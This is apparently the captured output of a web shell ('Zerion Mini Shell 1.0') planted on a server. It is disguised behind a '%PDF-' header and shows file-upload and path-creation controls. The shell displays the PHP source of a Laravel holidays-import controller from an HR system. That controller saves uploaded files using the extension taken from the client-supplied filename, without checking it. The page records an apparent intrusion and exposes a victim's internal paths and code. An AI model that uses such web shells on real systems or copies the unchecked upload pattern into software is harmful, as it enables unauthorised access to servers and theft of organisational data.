%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hrsys/api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/hrsys/api/app/Http/Controllers/Api/v1/HolidaysController.php

<?php

namespace App\Http\Controllers\Api\v1;


use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\Holidays\CreateHolidayRequest;
use App\Imports\HolidaysImport;
use App\Models\Holiday;
use App\Transformers\DayTransformer;
use App\Transformers\HolidayTransformer;
use Flow\Config;
use Flow\File;
use Flow\Request as FlowRequest;
use Illuminate\Http\Request;
use Maatwebsite\Excel\Validators\ValidationException;
use Throwable;

class HolidaysController extends ApiController
{
    /**
     * @var DayTransformer
     */
    private $transformer;

    /**
     * HolidaysController constructor.
     * @param HolidayTransformer $transformer
     */
    public function __construct(HolidayTransformer $transformer)
    {
        $this->transformer = $transformer;
    }

    public function index(Request $request)
    {
        return $this->collection(Holiday::getByYear($request->get('year')), $this->transformer);
    }

    public function store(CreateHolidayRequest $request)
    {
        try {
            $day = Holiday::createItem($request->only([
                'name',
                'date',
            ]));
            return $this->item($day, $this->transformer);
        } catch (Throwable $e) {
            return $this->wrongArguments([
                'message' => $e->getMessage(),
            ]);
        }
    }

    public function downloadExcelExample()
    {
        return response()->download(storage_path("holidays_import_example.xlsx"));
    }

    public function import()
    {
        $fileName = md5(time());;
        $request = new FlowRequest();

        $config = new Config([
            'tempDir' => storage_path('app/flow/chunks'),
        ]);

        $file = new File($config, $request);
        $realFileName = $request->getParam('flowFilename');
        $ext = last(explode('.', $realFileName));
        $destination = storage_path("app/flow/uploads/$fileName.$ext");

        if (request()->isMethod('GET')) {
            if (!$file->checkChunk()) {
                return response()->make('', 204);
            }
        } else {
            if ($file->validateChunk()) {
                $file->saveChunk();
            } else {
                return $this->wrongArguments('test');
            }
        }
        try {
            if ($file->validateFile() && $file->save($destination)) {
                $importer = new HolidaysImport();
                try {
                    $importer->import($destination);
                    return response()->json([
                        'message' => 'Done',
                    ], 200);
                } catch (ValidationException $e) {
                    $errors = collect();
                    $failures = $e->failures();

                    foreach ($failures as $failure) {
                        $errors->push([
                            'row'    => $failure->row(),
                            'errors' => $failure->errors(),
                        ]);
                    }

                    return response([
                        'message' => trans('import.success_with_errors'),
                        'errors'  => $errors,
                    ], 400);
                }

            }
            return response(['message' => 'ok'], 200);
        } catch (\Exception $e) {
            return $this->wrongArguments($e->getMessage());
        }
    }

}

Zerion Mini Shell 1.0